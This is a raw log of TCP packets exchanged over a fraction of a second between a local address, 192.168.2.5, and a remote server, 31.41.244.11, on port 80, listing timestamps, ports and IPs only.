Dec 16, 2024 09:01:34.998812914 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.999629974 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.999672890 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.999677896 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.999710083 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.000298977 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.000308990 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.000339985 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.000355959 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.001137972 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.001148939 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.001185894 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.001835108 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.001880884 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.001929998 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.001976013 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.002795935 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.002808094 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.002851963 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.003539085 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.003578901 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.003602982 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.003643036 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.004539013 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.004550934 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.004586935 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.005245924 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.005291939 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.005354881 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.005395889 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.006321907 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.006364107 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.006532907 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.006575108 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.007402897 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.007450104 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.007483006 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.007527113 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.008282900 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.008328915 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.008337021 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.008375883 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.009083986 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.009095907 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.009123087 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.009140968 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.009732962 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.009743929 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.009774923 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.009793043 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.010497093 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.010549068 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.010641098 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.010685921 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.011121035 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.011163950 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.011360884 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.011401892 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.011946917 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.011959076 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.011989117 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.012003899 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.012763977 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.012809992 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.012898922 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.012937069 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.013701916 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.013714075 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.013740063 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.013756037 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.014431000 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.014451027 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.014483929 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.014483929 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.015077114 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.015117884 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.015186071 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.015233994 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.015961885 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.016024113 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.016062975 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.016105890 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.016767025 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.016817093 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.016815901 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.016858101 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.017568111 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.017642021 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.017680883 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.017723083 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.018424988 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.018467903 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.018503904 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.018548965 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.019226074 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.019273043 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.021570921 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.021610975 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.021771908 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.021809101 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.022032022 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.022069931 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.022135019 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.022171021 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.022840023 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.022886992 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.023013115 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.023053885 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.023631096 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.023673058 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.170763969 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.170835018 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.170864105 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.170931101 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.171139956 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.171186924 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.171219110 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.171263933 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.171950102 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.171998978 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.172048092 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.172092915 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.172781944 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.172827005 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.172879934 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.172923088 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.173677921 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.173778057 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.173810005 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.173826933 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.174432993 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.174480915 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.174520016 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.174618006 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.175265074 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.175328016 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.175496101 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.175539970 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.176057100 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.176101923 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.176148891 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.176192999 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.176896095 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.176944017 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.176980019 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.177087069 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.177757978 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.177803993 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.177974939 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.178076029 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.178685904 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.178729057 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.178766012 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.178805113 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.179434061 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.179481983 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.179543018 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.179582119 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.180259943 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.180305004 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.180311918 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.180365086 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.181044102 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.181157112 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.181193113 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.181240082 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.181865931 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.181917906 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.181960106 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.182084084 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.182691097 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.182748079 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.182785034 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.182821989 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.183501959 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.183577061 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.183615923 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.183661938 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.184360981 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.184415102 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.184457064 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.184499979 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.185148954 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.185192108 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.185266018 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.185308933 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.185992002 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.186039925 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.186101913 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.186145067 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.186825037 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.186871052 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.186940908 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.186985016 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.187937975 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.187987089 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.188023090 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.188070059 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.188502073 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.188550949 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.188604116 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.188647032 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.189306974 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.189353943 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.189385891 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.189430952 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.190129995 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.190177917 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.190233946 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.190279007 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.191040039 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.191086054 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.191117048 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.191160917 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.191804886 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.191849947 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.191982985 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.192027092 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.192646027 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.192691088 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.192775011 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.192823887 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.193474054 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.193521023 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.193595886 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.193639994 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.194278002 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.194323063 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.194399118 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.194443941 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.195128918 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.195173979 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.195204973 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.195256948 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.195899963 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.195943117 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.196005106 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.196044922 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.196760893 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.196808100 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.196841002 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.196880102 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.197555065 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.197601080 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.197690010 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.197736025 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.198394060 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.198410988 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.198441982 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.198457956 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.199203968 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.199245930 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.199335098 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.199381113 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.200041056 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.200087070 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.200126886 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.200172901 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.200896025 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.200939894 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.201005936 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.201049089 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.201708078 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.201751947 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.201836109 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.201881886 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.202543020 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.202589989 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.202621937 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.202666998 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.203371048 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.203419924 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.203468084 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.203511953 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.204183102 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.204230070 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.204268932 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.204312086 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.205038071 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.205082893 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.205167055 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.205209017 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.205805063 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.205847979 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.205921888 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.205966949 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.206697941 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.206743956 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.206852913 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.206896067 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.207480907 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.207525969 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.207582951 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.207628965 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.208339930 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.208384037 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.208420992 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.208461046 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.209142923 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.209187984 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.209259987 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.209320068 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.209975004 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.210020065 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.210057020 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.210102081 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.210784912 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.210851908 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.210877895 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.210927963 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.213706970 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.213764906 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.213830948 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.213989019 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.214072943 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.214126110 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.214199066 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.214245081 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.214920998 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.214968920 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.215048075 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.215097904 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.215751886 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.215809107 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.362910986 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.363013029 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.363020897 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.363075972 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.363261938 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.363326073 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.363356113 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.363416910 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.364077091 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.364125013 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.364183903 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.364227057 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.364906073 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.364952087 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.365041018 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.365082026 CET	49866	80	192.168.2.5	31.41.244.11
